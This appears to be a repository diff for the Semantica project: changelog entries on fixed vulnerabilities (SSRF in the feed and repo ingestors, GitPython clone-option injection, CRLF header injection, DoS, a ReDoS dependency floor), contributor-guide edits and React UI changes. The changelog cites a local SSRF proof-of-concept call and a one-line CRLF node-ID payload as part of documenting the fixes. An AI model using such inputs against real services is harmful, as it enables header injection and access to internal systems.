- `FeedIngestor.ingest_feed()`, `discover_feeds()` (link-tag fetch, common-path HEAD probe, and feed-validation GET), and `FeedMonitor.check_updates()` all called `requests.get()`/`requests.head()` directly with default redirect-following and no scheme allowlist or private/loopback/link-local IP validation — despite `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()` already existing and being used by `web_ingestor.py`/`api_ingestor.py`. `ingest_feed()`'s own URL check only verified `urlparse(url).scheme`/`.netloc` were non-empty, never that the scheme was http/https or that the resolved target IP was safe. Reachable via the public `ingest_feed()`/`ingest()` entry points with any caller-supplied feed URL
|
||||
- All 5 call sites now route through `request_with_ssrf_guard()`, which validates scheme (http/https only) and resolved IP before the request, and re-validates every redirect `Location` before following it — closing both the direct-IP and redirect-chain SSRF paths. Added an `allow_private_ips` config option to both `FeedIngestor` and `FeedMonitor`, consistent with the other ingestors
|
||||
- **Fixed during review** (Qodo): `test_discover_feeds_empty` mocked `requests.get`, which no longer executes now that the code path goes through `request_with_ssrf_guard()` (backed by `requests.request`) — the test was passing without exercising the real code. Corrected to mock `requests.request` and `socket.getaddrinfo`
|
||||
- `pytest tests/ingest/test_feed_ingestor.py`: 12/12 passed. Independently reproduced the issue's own PoC (`FeedIngestor().ingest_feed("http://127.0.0.1:8765/feed.xml")` against a live local server) and confirmed it now raises `ValidationError` instead of succeeding
|
||||
- **Known limitation carried over from `discover_feeds()`'s pre-existing design**: its common-path and feed-validation loops use a blanket `except Exception: continue`, which now also silently absorbs `ValidationError` from a blocked candidate URL the same way it already absorbed network failures — the request is still correctly blocked before reaching the network, so this is not an SSRF bypass, just a missed opportunity to log "blocked as SSRF target" distinctly from "unreachable"
|
||||
|
||||
- **`RepoIngestor` clone surface hardened against GitPython URL/option injection** (#905, closes #868) by @pravit-amp
|
||||
- `RepoIngestor.ingest_repository()` passed the caller-supplied repository URL and arbitrary `**options` straight through to `git.Repo.clone_from()` on a `GitPython>=3.1.50` floor predating hardening for `ext::`-style transport helpers and `$VAR`/`${VAR}` environment-variable expansion in clone URLs — unvalidated clone options (`upload_pack`, `multi_options`, `template`, `config`, `env`, ...) could be abused for command execution, and unvalidated hostnames allowed SSRF against internal services (e.g. cloud metadata endpoints)
|
||||
- `GitPython` floor raised to `>=3.1.58`
|
||||
- Clone options passed to `clone_from()` are now allowlisted to `{depth, branch, single_branch, no_tags}`; anything else raises `ValidationError` before the clone is attempted
|
||||
- Repository URLs are validated before cloning: scheme allowlist (`https`, `http`, `git`, `ssh`), rejection of `$VAR`/`${VAR}` tokens, and hostname resolution with every returned address screened against private/loopback/link-local/unspecified ranges. scp-like SSH remotes (`user@host:path`) are recognized and normalized to `ssh://` before the clone call
|
||||
- **Fixed during review** (@Sameer6305): the SSRF check originally used `ip.is_reserved`, which flags the NAT64 Well-Known Prefix (`64:ff9b::/96`, RFC 6052) as reserved — falsely blocking `github.com` and other public hosts on IPv6-only/dual-stack networks using NAT64. Narrowed the block list to private/loopback/link-local/unspecified only
|
||||
- **Fixed during review** (@Sameer6305): local filesystem repository paths (`git clone /path/to/local/repo`) were being treated as remote URLs and rejected outright; local paths now bypass network validation entirely since they make no network requests and carry no SSRF risk
|
||||
- **Known limitation**: the SSRF host check does not classify RFC 6598 Carrier-Grade NAT space (`100.64.0.0/10`) as blocked — Python's `ipaddress.IPv4Address.is_private` does not cover that range, so a hostname resolving into it (e.g. some Kubernetes/CNI pod networks) would not be caught. Follow-up recommended to add it explicitly alongside the existing private/loopback/link-local checks
|
||||
- `pytest tests/ingest/test_repo_ingestor_security.py -v`: 44 passed
|
||||
|
||||
- **HTTP response header injection via `node_id`, unbounded-memory DoS in link prediction, and unsanitized imported node IDs in the Explorer** (#912) by @Sunil56224972
|
||||
- `semantica/explorer/routes/provenance.py`'s `GET /api/provenance/report` f-string-interpolated the `node_id` query parameter directly into the `Content-Disposition` response header; a `\r\n`-bearing `node_id` could inject arbitrary response headers (`Set-Cookie` session fixation, `Content-Type` override for reflected XSS). Fixed with `_safe_content_disposition_filename()`, which strips `\r`, `\n`, `\x00`, `"`, `\` and length-caps the value before interpolation
|
||||
- `POST /api/enrich/links` (link prediction) loaded up to 999,999 nodes with no cap or concurrency guard, then scored every candidate — a single request could consume ~1.6 GB RAM, and concurrent requests compounded that with no limit. Capped the candidate pool at 10,000 nodes (`413` if exceeded) and added an `asyncio.Semaphore(2)`, mirroring the SPARQL DoS fix in #898
|
||||
- `POST /api/import` stored uploaded JSON/CSV node IDs verbatim; since provenance reports reflect `node_id` into `Content-Disposition`, an attacker could upload a node with a CRLF-bearing ID once and trigger the header-injection chain above for every subsequent viewer. Added `_sanitize_import_node_id()`, applied to node and edge `source_id`/`target_id` fields on both the JSON and CSV import paths
|
||||
- **Corrected during review**: the JSON import path had a second, unsanitized branch — any uploaded node object already carrying a `"properties"` key (the shape this app's own `/api/export` produces, and already used elsewhere in the test suite) was appended to the graph as-is, bypassing `_sanitize_import_node_id()` entirely and leaving the stored-header-injection chain open via a one-line payload (`{"id": "<crlf>", "properties": {}}`). That branch now sanitizes `id` before storing
|
||||
- **Corrected during review**: the link-prediction cap checked `total` only *after* calling `session.get_nodes()`/`get_edges()`, which normalize the graph's *entire* matching node/edge set before applying `limit` — so the guard ran after the expensive work it was meant to prevent had already happened, on every request regardless of graph size. Added `GraphSession.get_raw_counts()`, an O(1) check against the raw `len(graph.nodes)`/`len(graph.edges)` collections, and moved the size check ahead of the normalizing calls
|
||||
- **Corrected during review**: 5 of the original PR's 22 regression tests asserted that literal words like `"Set-Cookie"`/`"Content-Type"` disappeared from the sanitized value — the sanitizer only strips `\r\n\x00"\\`, not letters, so those assertions failed against the PR's own fix as submitted. Corrected to assert on the property that actually blocks header injection (no `\r`/`\n` survives), and added end-to-end tests that exercise the real `/api/import` → `/api/provenance/report` route chain (not just the standalone sanitizer function) so the `properties`-key bypass has regression coverage
|
||||
- Full `explorer` suite: 241 passed; `tests/test_security_regression_pr2.py`: 30 passed
|
||||
|
||||
- **`fastapi`/`python-multipart` floors in the `explorer` extra allowed PYSEC-2024-38 (CVE-2024-24762 / GHSA-2jv5-9r88-3w3p, `python-multipart` ReDoS)** (#871, closes #869) by @agu2347
|
||||
- `explorer` declared `fastapi>=0.100.0` and `python-multipart>=0.0.6`; both floors resolve to versions carrying a ReDoS in `python-multipart`'s `Content-Type` header option parser (`parse_options_header`), reachable by any endpoint that accepts form/multipart data — an attacker-crafted header option can stall the event loop for minutes
|
||||
- **Corrected during review**: the original fix raised only `fastapi>=0.109.1`, leaving `python-multipart>=0.0.6` unchanged. `python-multipart` is declared as its own direct dependency in the `explorer` extra rather than pulled in transitively via `fastapi[all]`, so a bare `fastapi` install enforces no `python-multipart` floor at all — the vulnerable `0.0.6` could still resolve with `fastapi>=0.109.1` in place. Floors raised to `fastapi>=0.109.2` / `python-multipart>=0.0.7`, the first versions of each that exclude the vulnerable range
|
||||
- **Fixed along the way**: the `Security` workflow's `pip-audit` job ran only on a weekly schedule with `continue-on-error: true`, against a bare Python environment with none of Semantica's optional extras installed — it would never have seen `fastapi`/`python-multipart` regardless of which floor was pinned. `security-scan.yml`'s Safety check has the same blind spot (`pip install -e ".[llm-litellm]"` only, never `[explorer]`). `pip-audit` now also runs on `pull_request` when `pyproject.toml` changes, installs `semantica[all]`, and fails the build on any finding for that trigger; the schedule/`workflow_dispatch` runs stay non-blocking pending a full pass over any pre-existing findings across the whole `[all]` tree
|
||||
- **Caught by the new gate on its first run**: `python -m pip install -e ".[all]"` pulled in `setuptools==79.0.1`, vulnerable to CVE-2026-59890/GHSA-h35f-9h28-mq5c/PYSEC-2026-3447 (Unicode-normalization bypass of `MANIFEST.in` exclude/prune patterns on macOS APFS/HFS+, letting excluded files leak into a built sdist), fixed in `83.0.0`. `[build-system] requires` had the exact same too-permissive-floor pattern this whole entry is about (`setuptools>=61.0`), and `actions/setup-python`'s baked-in `setuptools` isn't governed by that pin at all since it's outside any isolated build. Bumped `[build-system] requires` to `setuptools>=83.0.0`, and the `Security` workflow now runs `pip install --upgrade pip setuptools` before auditing so the scanned environment can't have a stale ambient copy regardless of what governs it
|
||||
- Full `explorer` suite: 241 passed
|
||||
|
||||
## [0.6.5] - 2026-08-11
|
||||
|
||||
### Added
|
||||
|
||||
+47
-14
@@ -2,20 +2,20 @@
|
||||
|
||||
Thank you for your interest in contributing! Every contribution, no matter how small, is valuable. 🎉
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
> **New to contributing?** Start with a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community.
|
||||
|
||||
---
|
||||
|
||||
## 🚀 Quick Start
|
||||
|
||||
1. Find a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/Hawksight-AI/semantica/fork) & clone the repository
|
||||
1. Find a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue)
|
||||
2. [Fork Semantica](https://github.com/semantica-agi/semantica/fork) & clone the repository
|
||||
3. Make your changes
|
||||
4. Submit a pull request!
|
||||
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
|
||||
---
|
||||
|
||||
@@ -39,7 +39,7 @@ If you want to work on an open GitHub issue, please follow these steps to keep t
|
||||
|
||||
> **Why this matters:** Commenting before opening a PR helps maintainers track who is working on what, assign issues correctly, and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code.
|
||||
|
||||
Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
|
||||
Not sure where to start? Try a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH).
|
||||
|
||||
---
|
||||
|
||||
@@ -102,7 +102,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
**What:** Report bugs you find
|
||||
|
||||
**How:** Use the [bug report template](https://github.com/Hawksight-AI/semantica/issues/new?template=bug_report.md)
|
||||
**How:** Use the [bug report template](https://github.com/semantica-agi/semantica/issues/new?template=bug_report.md)
|
||||
|
||||
**Include:** Description, steps to reproduce, expected vs actual behavior, environment details
|
||||
|
||||
@@ -112,7 +112,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
**What:** Suggest new features or improvements
|
||||
|
||||
**How:** Use the [feature request template](https://github.com/Hawksight-AI/semantica/issues/new?template=feature_request.md)
|
||||
**How:** Use the [feature request template](https://github.com/semantica-agi/semantica/issues/new?template=feature_request.md)
|
||||
|
||||
**Include:** Problem statement, proposed solution, use cases
|
||||
|
||||
@@ -132,7 +132,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
**What:** Help others in the community
|
||||
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions)
|
||||
**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions)
|
||||
|
||||
**Examples:** Answer questions, review PRs, share your projects
|
||||
|
||||
@@ -159,12 +159,12 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight
|
||||
|
||||
### 1. Fork & Clone
|
||||
|
||||
First, [fork Semantica](https://github.com/Hawksight-AI/semantica/fork) on GitHub, then:
|
||||
First, [fork Semantica](https://github.com/semantica-agi/semantica/fork) on GitHub, then:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/your-username/semantica.git
|
||||
cd semantica
|
||||
git remote add upstream https://github.com/Hawksight-AI/semantica.git
|
||||
git remote add upstream https://github.com/semantica-agi/semantica.git
|
||||
```
|
||||
|
||||
### 2. Set Up Environment
|
||||
@@ -181,6 +181,39 @@ pip install -e ".[dev]"
|
||||
pre-commit install
|
||||
```
|
||||
|
||||
### Pinned CI dependencies
|
||||
|
||||
`requirements-ci.txt` pins every transitive dependency at exact versions so CI,
|
||||
security scans, and release builds install the same packages every run (the
|
||||
Python equivalent of `explorer/package-lock.json` + `npm ci`). It is a
|
||||
**separate build environment**: every package carries a SHA-256 hash
|
||||
(`--generate-hashes`), so installs are reproducible and supply-chain safe —
|
||||
never install into your local dev environment from it.
|
||||
|
||||
Regenerate it after changing `pyproject.toml` dependencies:
|
||||
|
||||
```bash
|
||||
pip install uv==0.12.1
|
||||
uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt
|
||||
```
|
||||
|
||||
The `all` extra is the repo's cross-platform dependency set (GPU extras like
|
||||
`faiss-gpu`/`cupy` are excluded and installed separately on Linux — see
|
||||
`pyproject.toml`). Keep the pinned `uv` version in sync with CI so regeneration
|
||||
is deterministic.
|
||||
|
||||
CI's staleness check re-resolves with the committed lockfile as a constraint
|
||||
and compares version lines only: upstream package releases never fail CI —
|
||||
the lockfile changes only when `pyproject.toml` changes intentionally.
|
||||
|
||||
CI fails if `requirements-ci.txt` is stale relative to `pyproject.toml`
|
||||
(the version-line comparison detects new/removed/changed dependencies).
|
||||
|
||||
Build-system pins: `[build-system].requires` is pinned to exact versions
|
||||
(`setuptools==84.0.0`, `wheel==0.48.0`) and release builds run
|
||||
`python -m build --no-isolation` against the lockfile — no unpinned
|
||||
build-time isolation anywhere.
|
||||
|
||||
### 3. Create Branch
|
||||
|
||||
```bash
|
||||
@@ -351,8 +384,8 @@ result = instance.method()
|
||||
## 🆘 Getting Help
|
||||
|
||||
- 💬 [Discord](https://discord.gg/sV34vps5hH) - Real-time chat
|
||||
- 💭 [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/Hawksight-AI/semantica/issues) - Bug reports
|
||||
- 💭 [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) - Q&A
|
||||
- 🐛 [GitHub Issues](https://github.com/semantica-agi/semantica/issues) - Bug reports
|
||||
|
||||
**Before asking:** Check existing documentation, search issues/discussions, review cookbook examples
|
||||
|
||||
@@ -387,4 +420,4 @@ This project follows a [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful and
|
||||
|
||||
Every contribution matters - whether it's a single line of code, a typo fix, a helpful answer, or a bug report. We appreciate you! 🙏
|
||||
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)**
|
||||
|
||||
+37
-13
@@ -67,6 +67,14 @@ type GraphStatsPayload = {
|
||||
edges?: number;
|
||||
};
|
||||
|
||||
type ConnectionStatus = 'checking' | 'online' | 'offline';
|
||||
|
||||
const CONNECTION_STATUS_LABEL: Record<ConnectionStatus, string> = {
|
||||
checking: 'Connecting…',
|
||||
online: 'System Online',
|
||||
offline: 'Backend Unreachable',
|
||||
};
|
||||
|
||||
const queryClient = new QueryClient();
|
||||
|
||||
const PREVIEW_DOTS = Array.from({ length: 42 }, (_, i) => ({
|
||||
@@ -719,19 +727,34 @@ const shellStyles = `
|
||||
align-items: center;
|
||||
gap: 10px;
|
||||
margin-bottom: 24px;
|
||||
--status-color: #4cc38a;
|
||||
--status-shadow-a: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='checking'] {
|
||||
--status-color: #f2b66d;
|
||||
--status-shadow-a: 0 0 0 3px rgba(242, 182, 109, 0.22), 0 0 12px rgba(242, 182, 109, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(242, 182, 109, 0.1), 0 0 20px rgba(242, 182, 109, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-bar[data-status='offline'] {
|
||||
--status-color: #ff7b72;
|
||||
--status-shadow-a: 0 0 0 3px rgba(255, 123, 114, 0.22), 0 0 12px rgba(255, 123, 114, 0.5);
|
||||
--status-shadow-b: 0 0 0 5px rgba(255, 123, 114, 0.1), 0 0 20px rgba(255, 123, 114, 0.35);
|
||||
}
|
||||
|
||||
.landing-status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 999px;
|
||||
background: #4cc38a;
|
||||
box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5);
|
||||
background: var(--status-color);
|
||||
box-shadow: var(--status-shadow-a);
|
||||
animation: landing-pulse 2.4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.landing-status-text {
|
||||
color: #4cc38a;
|
||||
color: var(--status-color);
|
||||
font: 700 11px/1 "JetBrains Mono", monospace;
|
||||
letter-spacing: 0.1em;
|
||||
text-transform: uppercase;
|
||||
@@ -1323,8 +1346,8 @@ const shellStyles = `
|
||||
}
|
||||
|
||||
@keyframes landing-pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 3px rgba(76, 195, 138, 0.22), 0 0 12px rgba(76, 195, 138, 0.5); }
|
||||
50% { box-shadow: 0 0 0 5px rgba(76, 195, 138, 0.1), 0 0 20px rgba(76, 195, 138, 0.35); }
|
||||
0%, 100% { box-shadow: var(--status-shadow-a); }
|
||||
50% { box-shadow: var(--status-shadow-b); }
|
||||
}
|
||||
|
||||
.workspace-loading {
|
||||
@@ -1494,10 +1517,10 @@ function WelcomeScreen({
|
||||
onOpenDecisions: () => void;
|
||||
onOpenManage: () => void;
|
||||
}) {
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; ready: boolean }>({
|
||||
const [stats, setStats] = useState<{ nodes: number | null; edges: number | null; status: ConnectionStatus }>({
|
||||
nodes: null,
|
||||
edges: null,
|
||||
ready: false,
|
||||
status: 'checking',
|
||||
});
|
||||
|
||||
useEffect(() => {
|
||||
@@ -1507,31 +1530,32 @@ function WelcomeScreen({
|
||||
.then((response) => (response.ok ? response.json() as Promise<GraphStatsPayload> : null))
|
||||
.then((payload) => {
|
||||
if (!payload) {
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
return;
|
||||
}
|
||||
|
||||
setStats({
|
||||
nodes: getNumberStat(payload, ['node_count', 'nodeCount', 'nodes']),
|
||||
edges: getNumberStat(payload, ['edge_count', 'edgeCount', 'edges']),
|
||||
ready: true,
|
||||
status: 'online',
|
||||
});
|
||||
})
|
||||
.catch((error: unknown) => {
|
||||
if (error instanceof DOMException && error.name === 'AbortError') {
|
||||
return;
|
||||
}
|
||||
setStats((current) => ({ ...current, ready: false }));
|
||||
setStats((current) => ({ ...current, status: 'offline' }));
|
||||
});
|
||||
|
||||
return () => controller.abort();
|
||||
}, []);
|
||||
|
||||
const isOnline = stats.status === 'online';
|
||||
const metrics: LandingMetric[] = [
|
||||
{ label: 'Knowledge nodes', value: formatMetric(stats.nodes, 'Live'), tone: 'cyan' },
|
||||
{ label: 'Relationships mapped', value: formatMetric(stats.edges, 'Ready'), tone: 'mint' },
|
||||
{ label: 'Graph modes', value: '3', tone: 'amber' },
|
||||
{ label: stats.ready ? 'Dataset online' : 'Ready to explore', value: stats.ready ? 'Active' : 'Standby', tone: 'rose' },
|
||||
{ label: isOnline ? 'Dataset online' : 'Ready to explore', value: isOnline ? 'Active' : 'Standby', tone: 'rose' },
|
||||
];
|
||||
|
||||
const secondaryLaunchers: LandingAction[] = [
|
||||
@@ -1574,9 +1598,9 @@ function WelcomeScreen({
|
||||
{/* ── Hero ── */}
|
||||
<section className="landing-hero">
|
||||
<div className="landing-copy">
|
||||
<div className="landing-status-bar">
|
||||
<div className="landing-status-bar" data-status={stats.status}>
|
||||
<div className="landing-status-dot" />
|
||||
<span className="landing-status-text">System Online</span>
|
||||
<span className="landing-status-text">{CONNECTION_STATUS_LABEL[stats.status]}</span>
|
||||
<div className="landing-status-divider" />
|
||||
<span className="landing-status-version">Semantica v2 · Semantic Intelligence</span>
|
||||
</div>
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { useEffect, useRef, useState, type CSSProperties } from "react";
|
||||
import { AlertTriangle, RefreshCw } from "lucide-react";
|
||||
|
||||
import { GRAPH_THEME, withAlpha } from "./graphTheme";
|
||||
import { GRAPH_LOAD_STAGE_SEQUENCE, createGraphLoadProgress, getGraphLoadStageLabel } from "./graphLoading";
|
||||
@@ -121,6 +122,58 @@ const LOADING_OVERLAY_CSS = `
|
||||
0% { transform: translateX(-120%); }
|
||||
100% { transform: translateX(360%); }
|
||||
}
|
||||
.graph-stage-loader-card[data-error="true"] {
|
||||
pointer-events: auto;
|
||||
border-color: rgba(255, 123, 114, 0.32);
|
||||
background:
|
||||
radial-gradient(circle at top left, rgba(255, 123, 114, 0.12), transparent 32%),
|
||||
linear-gradient(145deg, rgba(7, 17, 31, 0.96), rgba(24, 14, 18, 0.86));
|
||||
}
|
||||
.graph-stage-loader-error-mark {
|
||||
width: 38px;
|
||||
height: 38px;
|
||||
flex: 0 0 auto;
|
||||
border-radius: 12px;
|
||||
display: grid;
|
||||
place-items: center;
|
||||
color: #ff9e97;
|
||||
background: rgba(255, 123, 114, 0.12);
|
||||
border: 1px solid rgba(255, 123, 114, 0.28);
|
||||
}
|
||||
.graph-stage-loader-error-detail {
|
||||
padding: 10px 12px;
|
||||
border-radius: 10px;
|
||||
background: rgba(0, 0, 0, 0.32);
|
||||
border: 1px solid rgba(255, 123, 114, 0.18);
|
||||
color: #ffb4ae;
|
||||
font-family: "JetBrains Mono", "Fira Code", Consolas, monospace;
|
||||
font-size: 12px;
|
||||
line-height: 1.55;
|
||||
word-break: break-word;
|
||||
}
|
||||
.graph-stage-loader-retry {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 7px;
|
||||
padding: 9px 16px;
|
||||
border-radius: 8px;
|
||||
font-size: 13px;
|
||||
font-weight: 700;
|
||||
cursor: pointer;
|
||||
border: 1px solid rgba(127, 208, 255, 0.4);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.28), rgba(56, 210, 160, 0.16));
|
||||
color: #e8f6ff;
|
||||
transition: 160ms ease;
|
||||
}
|
||||
.graph-stage-loader-retry:hover {
|
||||
border-color: rgba(127, 208, 255, 0.62);
|
||||
background: linear-gradient(135deg, rgba(74, 163, 255, 0.4), rgba(56, 210, 160, 0.24));
|
||||
transform: translateY(-1px);
|
||||
}
|
||||
.graph-stage-loader-retry:focus-visible {
|
||||
outline: 2px solid #7fd0ff;
|
||||
outline-offset: 2px;
|
||||
}
|
||||
`;
|
||||
|
||||
function formatLayoutSource(source: GraphLoadProgress["layoutSource"]) {
|
||||
@@ -170,10 +223,14 @@ export function GraphLoadingOverlay({
|
||||
progress,
|
||||
visible,
|
||||
showGraphBehind,
|
||||
error = null,
|
||||
onRetry,
|
||||
}: {
|
||||
progress: GraphLoadProgress | null;
|
||||
visible: boolean;
|
||||
showGraphBehind: boolean;
|
||||
error?: string | null;
|
||||
onRetry?: () => void;
|
||||
}) {
|
||||
const [renderVisible, setRenderVisible] = useState(visible);
|
||||
const [exiting, setExiting] = useState(false);
|
||||
@@ -226,6 +283,44 @@ export function GraphLoadingOverlay({
|
||||
return null;
|
||||
}
|
||||
|
||||
if (error) {
|
||||
return (
|
||||
<div
|
||||
className="graph-stage-loader"
|
||||
data-exiting={exiting}
|
||||
style={{ background: "linear-gradient(180deg, rgba(1,4,9,0.22), rgba(1,4,9,0.5))" }}
|
||||
>
|
||||
<style>{LOADING_OVERLAY_CSS}</style>
|
||||
<div className="graph-stage-loader-card" data-error="true" role="alert">
|
||||
<div style={{ display: "flex", alignItems: "flex-start", gap: 14, marginBottom: 14 }}>
|
||||
<div className="graph-stage-loader-error-mark" aria-hidden="true">
|
||||
<AlertTriangle size={18} strokeWidth={2.2} />
|
||||
</div>
|
||||
<div style={{ minWidth: 0 }}>
|
||||
<div style={{ color: "#ffffff", fontSize: 20, fontWeight: 700, letterSpacing: "-0.03em", marginBottom: 6 }}>
|
||||
Could not load the graph
|
||||
</div>
|
||||
<div style={{ color: "#8fa8c6", fontSize: 13, lineHeight: 1.5 }}>
|
||||
The Explorer API did not return graph data. Check that the backend is running and reachable, then try again.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="graph-stage-loader-error-detail">{error}</div>
|
||||
|
||||
{onRetry ? (
|
||||
<div style={{ display: "flex", gap: 10, marginTop: 16 }}>
|
||||
<button type="button" className="graph-stage-loader-retry" onClick={onRetry}>
|
||||
<RefreshCw size={14} strokeWidth={2.2} aria-hidden />
|
||||
Retry
|
||||
</button>
|
||||
</div>
|
||||
) : null}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const activeProgress = progress ?? displayProgress;
|
||||
const isLiveStage = activeProgress.phase === "stabilizing_layout" || activeProgress.showGraphBehind || showGraphBehind;
|
||||
const overlayBackground = isLiveStage
|
||||
|
||||
@@ -1,479 +0,0 @@
|
||||
import { forwardRef, useEffect, useImperativeHandle, useMemo, useRef, useState } from "react";
|
||||
|
||||
import { batchMergeEdges, batchMergeNodes, clearGraph, graph, type EdgeAttributes, type NodeAttributes } from "../../store/graphStore";
|
||||
import { SigmaSceneAdapter } from "./SigmaSceneAdapter";
|
||||
import { createGraphLoadProgress } from "./graphLoading";
|
||||
import { resolveDisplayGraph } from "./graphSceneState";
|
||||
import {
|
||||
chooseColorAccessor,
|
||||
colorForNodeKey,
|
||||
computeDegreeMap,
|
||||
computeEdgeSize,
|
||||
computeNodeSize,
|
||||
computePageRank,
|
||||
deterministicPosition,
|
||||
} from "./graphAnalytics";
|
||||
import { GRAPH_THEME } from "./graphConfig";
|
||||
import type { GraphSceneHandle } from "./scene";
|
||||
import type {
|
||||
GraphDataSnapshot,
|
||||
GraphEffectsState,
|
||||
GraphLayoutSource,
|
||||
GraphLayoutStatus,
|
||||
GraphLoadProgress,
|
||||
GraphPath,
|
||||
GraphSelectedNodeState,
|
||||
GraphStageHandle,
|
||||
GraphViewMode,
|
||||
} from "./types";
|
||||
|
||||
const STAGE_EFFECTS_STATE: GraphEffectsState = {
|
||||
pathPulseEnabled: false,
|
||||
pathFlowEnabled: false,
|
||||
lensEnabled: false,
|
||||
temporalEmphasisEnabled: false,
|
||||
semanticRegionsEnabled: false,
|
||||
contoursEnabled: false,
|
||||
pathfindingEnabled: false,
|
||||
communitiesEnabled: false,
|
||||
centralityEnabled: false,
|
||||
legendEnabled: false,
|
||||
diagnosticsEnabled: false,
|
||||
lensMode: "neighborhood",
|
||||
effectQuality: "bounded",
|
||||
};
|
||||
const EMPTY_PATH: string[] = [];
|
||||
|
||||
const socketProtocol = () => (window.location.protocol === "https:" ? "wss:" : "ws:");
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function buildSelectedNodeState(nodeId: string): GraphSelectedNodeState | null {
|
||||
if (!nodeId || !graph.hasNode(nodeId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const attributes = graph.getNodeAttributes(nodeId) as NodeAttributes;
|
||||
return {
|
||||
id: nodeId,
|
||||
label: String(attributes.label || nodeId),
|
||||
content: String(attributes.content || attributes.label || nodeId),
|
||||
nodeType: attributes.nodeType || "entity",
|
||||
color: attributes.color,
|
||||
valid_from: attributes.valid_from ?? null,
|
||||
valid_until: attributes.valid_until ?? null,
|
||||
properties: attributes.properties ?? {},
|
||||
neighborCount: graph.neighbors(nodeId).length,
|
||||
visibleNeighborCount: graph.neighbors(nodeId).length,
|
||||
collapsedNeighborCount: 0,
|
||||
isNeighborhoodCollapsed: false,
|
||||
canCollapseNeighborhood: graph.neighbors(nodeId).length > 8,
|
||||
};
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: unknown): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface GraphRuntimeStageProps {
|
||||
snapshot: GraphDataSnapshot | null | undefined;
|
||||
selectedNodeId: string;
|
||||
activePath: GraphPath;
|
||||
onNodeSelect: (nodeId: string) => void;
|
||||
onSelectedNodeStateChange: (state: GraphSelectedNodeState | null) => void;
|
||||
isLayoutRunning: boolean;
|
||||
onLayoutRunningChange: (running: boolean) => void;
|
||||
viewMode: GraphViewMode;
|
||||
temporalTime: Date | null;
|
||||
onActiveNodeCountChange: (count: number | null) => void;
|
||||
onProgressChange: (progress: GraphLoadProgress | null) => void;
|
||||
onLayoutStatusChange: (status: GraphLayoutStatus) => void;
|
